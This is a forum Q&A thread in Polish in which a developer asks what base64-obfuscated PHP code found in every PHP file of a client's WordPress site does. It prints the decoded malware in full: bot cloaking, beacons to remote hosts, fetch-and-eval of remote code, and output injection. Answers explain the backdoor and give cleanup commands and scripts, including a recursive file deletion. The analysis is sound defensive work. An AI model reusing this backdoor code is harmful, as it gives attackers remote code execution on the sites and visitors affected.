2012-02-23 19 views
5

Znalazłem ten kod w bazie 64 na wszystkich plikach php jednej z witryn mojego klienta (wordpress) i próbuję zrozumieć, co robi.Co dokładnie ten kod PHP wykorzystuje (znajdujący się w mojej aplikacji)?

Próbuję również dowiedzieć się, czy był to exploit aplikacji lub bezpośredni dostęp FTP, który minął ten kod.

Wszystko zaczyna się od setup_globals_777() i ob_start('mrobh') ustawiając oddzwonienie do funkcji mrobh($content).

Następnie jest połączenie z numerem gzdecodeit ($decode), w którym zaczyna się kłopot.

Wygląda na to, że pobiera zawartość strony i zmienia ją. Teraz próbuję wykryć konkretne zmiany i zrozumieć wszystkie funkcje, w tym drugą: gzdecodeit().

Czy ktoś może rzucić trochę światła na to?

Nabór

setup_globals_777(); 
ob_start('mrobh'); 
// Here the application code and html output starts out 

Wywołanie zwrotne:

function mrobh ($content) 
{ 
    @Header('Content-Encoding: none'); 
    $decoded_content = gzdecodeit($content); 
    if (preg_match('/\<\/body/si', $decoded_content)) { 
     return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', 
          $decoded_content); 
    } else { 
     return $decoded_content . gml_777(); 
    } 
} 

Funkcja setup (zrozumiałe)

function setup_globals_777() 
{ 
    $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/"; 
    $mz = "/tmp/"; 
    if (! is_dir($rz)) { 
     @mkdir($rz); 
     if (is_dir($rz)) { 
      $mz = $rz; 
     } else { 
      $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/"; 
      if (! is_dir($rz)) { 
       @mkdir($rz); 
       if (is_dir($rz)) { 
        $mz = $rz; 
       } 
      } else { 
       $mz = $rz; 
      } 
     } 
    } else { 
     $mz = $rz; 
    } 
    $bot = 0; 
    $ua = $_SERVER['HTTP_USER_AGENT']; 
    if (stristr($ua, "msnbot") || stristr($ua, "Yahoo")) 
     $bot = 1; 
    if (stristr($ua, "bingbot") || stristr($ua, "google")) 
     $bot = 1; 
    $msie = 0; 
    if (is_msie_777($ua)) 
     $msie = 1; 
    $mac = 0; 
    if (is_mac_777($ua)) 
     $mac = 1; 
    if (($msie == 0) && ($mac == 0)) 
     $bot = 1; 
    global $_SERVER; 
    $_SERVER['s_p1'] = $mz; 
    $_SERVER['s_b1'] = $bot; 
    $_SERVER['s_t1'] = 1200; 
    $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/"; 
    $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . 
    urlencode($_SERVER["PHP_SELF"]) . "&a=" . 
    urlencode($_SERVER["HTTP_USER_AGENT"]); 
    $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d; 
    $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d; 
    $_SERVER['s_script'] = "mm.php?d=1"; 
} 

Pierwsza funkcja wywoływana po wykonaniu połączenia zwrotnego:

Oto gdzie dzieje się magia. Nie widzę połączenia dla innych dostępnych funkcji i zrozumieć, co ta funkcja jest faktycznie dekodowania, ponieważ $decode var jest wyjście aplikacja chwycił przez się ob_start()

function gzdecodeit ($decode) 
{ 
    $t = @ord(@substr($decode, 3, 1)); 
    $start = 10; 
    $v = 0; 
    if ($t & 4) { 
     $str = @unpack('v', substr($decode, 10, 2)); 
     $str = $str[1]; 
     $start += 2 + $str; 
    } 
    if ($t & 8) { 
     $start = @strpos($decode, chr(0), $start) + 1; 
    } 
    if ($t & 16) { 
     $start = @strpos($decode, chr(0), $start) + 1; 
    } 
    if ($t & 2) { 
     $start += 2; 
    } 
    $ret = @gzinflate(@substr($decode, $start)); 
    if ($ret === FALSE) { 
     $ret = $decode; 
    } 
    return $ret; 
} 

wszystkimi dostępnymi funkcjami (po base64_decode()):

<?php 
if (function_exists('ob_start') && ! isset($_SERVER['mr_no'])) { 
    $_SERVER['mr_no'] = 1; 
    if (! function_exists('mrobh')) { 
     function get_tds_777 ($url) 
     { 
      $content = ""; 
      $content = @trycurl_777($url); 
      if ($content !== false) 
       return $content; 
      $content = @tryfile_777($url); 
      if ($content !== false) 
       return $content; 
      $content = @tryfopen_777($url); 
      if ($content !== false) 
       return $content; 
      $content = @tryfsockopen_777($url); 
      if ($content !== false) 
       return $content; 
      $content = @trysocket_777($url); 
      if ($content !== false) 
       return $content; 
      return ''; 
     } 
     function trycurl_777 ($url) 
     { 
      if (function_exists('curl_init') === false) 
       return false; 
      $ch = curl_init(); 
      curl_setopt($ch, CURLOPT_URL, $url); 
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
      curl_setopt($ch, CURLOPT_TIMEOUT, 5); 
      curl_setopt($ch, CURLOPT_HEADER, 0); 
      $result = curl_exec($ch); 
      curl_close($ch); 
      if ($result == "") 
       return false; 
      return $result; 
     } 
     function tryfile_777 ($url) 
     { 
      if (function_exists('file') === false) 
       return false; 
      $inc = @file($url); 
      $buf = @implode('', $inc); 
      if ($buf == "") 
       return false; 
      return $buf; 
     } 
     function tryfopen_777 ($url) 
     { 
      if (function_exists('fopen') === false) 
       return false; 
      $buf = ''; 
      $f = @fopen($url, 'r'); 
      if ($f) { 
       while (! feof($f)) { 
        $buf .= fread($f, 10000); 
       } 
       fclose($f); 
      } else 
       return false; 
      if ($buf == "") 
       return false; 
      return $buf; 
     } 
     function tryfsockopen_777 ($url) 
     { 
      if (function_exists('fsockopen') === false) 
       return false; 
      $p = @parse_url($url); 
      $host = $p['host']; 
      $uri = $p['path'] . '?' . $p['query']; 
      $f = @fsockopen($host, 80, $errno, $errstr, 30); 
      if (! $f) 
       return false; 
      $request = "GET $uri HTTP/1.0\n"; 
      $request .= "Host: $host\n\n"; 
      fwrite($f, $request); 
      $buf = ''; 
      while (! feof($f)) { 
       $buf .= fread($f, 10000); 
      } 
      fclose($f); 
      if ($buf == "") 
       return false; 
      list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
      $buf); 
      return $buf; 
     } 
     function trysocket_777 ($url) 
     { 
      if (function_exists('socket_create') === false) 
       return false; 
      $p = @parse_url($url); 
      $host = $p['host']; 
      $uri = $p['path'] . '?' . $p['query']; 
      $ip1 = @gethostbyname($host); 
      $ip2 = @long2ip(@ip2long($ip1)); 
      if ($ip1 != $ip2) 
       return false; 
      $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); 
      if (! @socket_connect($sock, $ip1, 80)) { 
       @socket_close($sock); 
       return false; 
      } 
      $request = "GET $uri HTTP/1.0\n"; 
      $request .= "Host: $host\n\n"; 
      socket_write($sock, $request); 
      $buf = ''; 
      while ($t = socket_read($sock, 10000)) { 
       $buf .= $t; 
      } 
      @socket_close($sock); 
      if ($buf == "") 
       return false; 
      list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
      $buf); 
      return $buf; 
     } 
     function update_tds_file_777 ($tdsfile) 
     { 
      $actual1 = $_SERVER['s_a1']; 
      $actual2 = $_SERVER['s_a2']; 
      $val = get_tds_777($actual1); 
      if ($val == "") 
       $val = get_tds_777($actual2); 
      $f = @fopen($tdsfile, "w"); 
      if ($f) { 
       @fwrite($f, $val); 
       @fclose($f); 
      } 
      if (strstr($val, "|||CODE|||")) { 
       list ($val, $code) = explode("|||CODE|||", $val); 
       eval(base64_decode($code)); 
      } 
      return $val; 
     } 
     function get_actual_tds_777() 
     { 
      $defaultdomain = $_SERVER['s_d1']; 
      $dir = $_SERVER['s_p1']; 
      $tdsfile = $dir . "log1.txt"; 
      if (@file_exists($tdsfile)) { 
       $mtime = @filemtime($tdsfile); 
       $ctime = time() - $mtime; 
       if ($ctime > $_SERVER['s_t1']) { 
        $content = update_tds_file_777($tdsfile); 
       } else { 
        $content = @file_get_contents($tdsfile); 
       } 
      } else { 
       $content = update_tds_file_777($tdsfile); 
      } 
      $tds = @explode("\n", $content); 
      $c = @count($tds) + 0; 
      $url = $defaultdomain; 
      if ($c > 1) { 
       $url = trim($tds[mt_rand(0, $c - 2)]); 
      } 
      return $url; 
     } 
     function is_mac_777 ($ua) 
     { 
      $mac = 0; 
      if (stristr($ua, "mac") || stristr($ua, "safari")) 
       if ((! stristr($ua, "windows")) && (! stristr($ua, "iphone"))) 
        $mac = 1; 
      return $mac; 
     } 
     function is_msie_777 ($ua) 
     { 
      $msie = 0; 
      if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || 
      stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9")) 
       $msie = 1; 
      return $msie; 
     } 
     function setup_globals_777() 
     { 
      $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/"; 
      $mz = "/tmp/"; 
      if (! is_dir($rz)) { 
       @mkdir($rz); 
       if (is_dir($rz)) { 
        $mz = $rz; 
       } else { 
        $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/"; 
        if (! is_dir($rz)) { 
         @mkdir($rz); 
         if (is_dir($rz)) { 
          $mz = $rz; 
         } 
        } else { 
         $mz = $rz; 
        } 
       } 
      } else { 
       $mz = $rz; 
      } 
      $bot = 0; 
      $ua = $_SERVER['HTTP_USER_AGENT']; 
      if (stristr($ua, "msnbot") || stristr($ua, "Yahoo")) 
       $bot = 1; 
      if (stristr($ua, "bingbot") || stristr($ua, "google")) 
       $bot = 1; 
      $msie = 0; 
      if (is_msie_777($ua)) 
       $msie = 1; 
      $mac = 0; 
      if (is_mac_777($ua)) 
       $mac = 1; 
      if (($msie == 0) && ($mac == 0)) 
       $bot = 1; 
      global $_SERVER; 
      $_SERVER['s_p1'] = $mz; 
      $_SERVER['s_b1'] = $bot; 
      $_SERVER['s_t1'] = 1200; 
      $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/"; 
      $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . 
      urlencode($_SERVER["PHP_SELF"]) . "&a=" . 
      urlencode($_SERVER["HTTP_USER_AGENT"]); 
      $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d; 
      $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d; 
      $_SERVER['s_script'] = "mm.php?d=1"; 
     } 


     if (! function_exists('gml_777')) { 
      function gml_777() 
      { 
       $r_string_777 = ''; 
       if ($_SERVER['s_b1'] == 0) 
        $r_string_777 = ''; 
       return $r_string_777; 
      } 
     } 
     if (! function_exists('gzdecodeit')) { 
      function gzdecodeit ($decode) 
      { 
       $t = @ord(@substr($decode, 3, 1)); 
       $start = 10; 
       $v = 0; 
       if ($t & 4) { 
        $str = @unpack('v', substr($decode, 10, 2)); 
        $str = $str[1]; 
        $start += 2 + $str; 
       } 
       if ($t & 8) { 
        $start = @strpos($decode, chr(0), $start) + 1; 
       } 
       if ($t & 16) { 
        $start = @strpos($decode, chr(0), $start) + 1; 
       } 
       if ($t & 2) { 
        $start += 2; 
       } 
       $ret = @gzinflate(@substr($decode, $start)); 
       if ($ret === FALSE) { 
        $ret = $decode; 
       } 
       return $ret; 
      } 
     } 
     function mrobh ($content) 
     { 
      @Header('Content-Encoding: none'); 
      $decoded_content = gzdecodeit($content); 
      if (preg_match('/\<\/body/si', $decoded_content)) { 
       return preg_replace('/(\<\/body[^\>]*\>)/si', 
       gml_777() . "\n" . '$1', $decoded_content); 
      } else { 
       return $decoded_content . gml_777(); 
      } 
     } 

    } 
} 
+3

będę martwić się naprawić swoje bezpieczeństwo zamiast zrozumieć, co ten kod robi – dynamic

+0

@ yes123 Tak, ale ja pytam o kod. Chciałbym to zrozumieć. Jestem programistą PHP i nie widzę wcześniej tych kombinacji instrukcji. –

+0

Nie jestem pewien, czy to jest to samo, czy nie, ale możesz chcieć rzucić okiem: http://www.tumblr.com/tagged/hack?before=1329947869 –

Odpowiedz

7

Wygląda na to, że tworzy ukryty .log folder:

$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/"; 
$mz = "/tmp/"; 
if (! is_dir($rz)) { 
    @mkdir($rz); 
    if (is_dir($rz)) { 
     $mz = $rz; 
    } else { 
     $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/"; 
     if (! is_dir($rz)) { 
      @mkdir($rz); 
      if (is_dir($rz)) { 
       $mz = $rz; 
      } 
     } else { 
      $mz = $rz; 
     } 
    } 
} else { 
    $mz = $rz; 
} 

Wtedy wydaje się pobrać kod z http://www.lolypopholypop.com/g_load.php i http://sweepstakesandcontestsdo.com/, base64 dekoduje go, a następnie uruchamia go:

function update_tds_file_777 ($tdsfile) 
    { 
     $actual1 = $_SERVER['s_a1']; 
     $actual2 = $_SERVER['s_a2']; 
     $val = get_tds_777($actual1); 
     if ($val == "") 
      $val = get_tds_777($actual2); 
     $f = @fopen($tdsfile, "w"); 
     if ($f) { 
      @fwrite($f, $val); 
      @fclose($f); 
     } 
     if (strstr($val, "|||CODE|||")) { 
      list ($val, $code) = explode("|||CODE|||", $val); 
      eval(base64_decode($code)); 
     } 
     return $val; 
    } 

Więc bez konieczności uzyskaj dostęp do swojego serwera ponownie, mogą wykonywać inny kod.

+0

Czy możesz wskazać, gdzie występuje pierwsze wywołanie update_tds_file_777()? –

+0

Nie jestem pewien, czy cały kod został zamieszczony powyżej? Ponieważ funkcja get_actual_tds_777() nigdy nie jest wywoływana, którą widzę. –

+0

Tak, jest. Z tego powodu myślałem, że gzdecodeit() coś robił. –

5

Dan Hill napisał article o włamywaniu base64 do instalacji WordPress.

Cytując wyniki ustaleń Dana:

Hack znalazłem zasadniczo utworzony nowy plik php w folderze uploads Wordpress, który pozwalał na zdalne sterowanie systemu plików, a następnie zmodyfikowanej strony doręczeniu (każdy. plik php), aby zawrzeć tag skryptu przekierowujący odwiedzających do pewnych podejrzanych stron.

Aby pozbyć się tego problemu, Dan próbowałem następujące:


Zrobiłem to w trzech etapach.Po pierwsze, znaleźć jakiekolwiek prawa zapisu katalogów (TSK TSK):

find . -type d -perm -o=w 

i uczynić z nich nie zapisywalny:

find . -type d -perm -o=w -print -exec chmod 770 {} \; 

Usuń wszystkie nowe pliki te chłopaki Utworzono:

find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \; 

(W wordpress, folder uploads nie powinien zawierać żadnego PHP)

Etap drugi, napraw wszystkie infecte d Pliki PHP. Grałem do tego przy użyciu sed i xargs, ale ostatecznie zrezygnowałem i napisałem skrypt szybkiego ruby, aby wykonać to zadanie. Uruchom ten uruchomić ten skrypt ruby ​​z katalogu:

#!/usr/bin/env ruby 
Dir.glob('**/*.php').each do|f| 
    puts f 
    begin 
     contents = File.read(f) 
     contents = contents.gsub(/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/, "") 

     File.open(f, 'w') {|f| f.write(contents) } 
    rescue 
     puts "FILE ERROR" 
    end 
end 

Ostatnim krokiem jest, aby uaktualnić wszystkie swoje stare, zapomniane o Wordpress instaluje aby zapobiec innych luk wyświetlane. Dodatkowym krokiem na szczęście jest zresetowanie haseł, w szczególności haseł MySQL zapisanych w pliku tekstowym w pliku wp-config.php.


Mamy nadzieję, że odkrycia Dana pomogą!

1

Dla tych, szukając fix non-Ruby, oto wersja PHP kodu Dan Hill:

<?php 
function fileExtension($filename) { 
    $pathInfo = pathinfo($filename); 
    return strtolower($pathInfo['extension']); 
} 

function fixFiles($path) { 
    $path = str_replace('././', './', $path); 
    $d = @opendir($path); 

    if ($d) { 
     while (($entry = readdir($d)) !== false) { 
      $baseEntry = $entry; 
      $entry = str_replace('././', './', $path . '/' . $entry); 

      if ($baseEntry != '.' && $baseEntry != '..') { 
       if (is_file($entry)) { 
        $fe = fileExtension($entry); 

        if ($fe == 'php') { 
         $contents = file_get_contents($entry); 
         $contents = preg_replace("/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/", '', $contents); 

         $f = fopen($entry, 'w'); 
         fputs($f, $contents); 
         fclose($f); 

         echo $entry . '<br>'; 
         flush(); 
        } 
       } 
       else if (is_dir($entry)) { 
        fixFiles($path . '/' . basename($entry)); 
       } 
      } 
     } 

     closedir($d); 
    } 
} 

fixFiles('.'); 
?>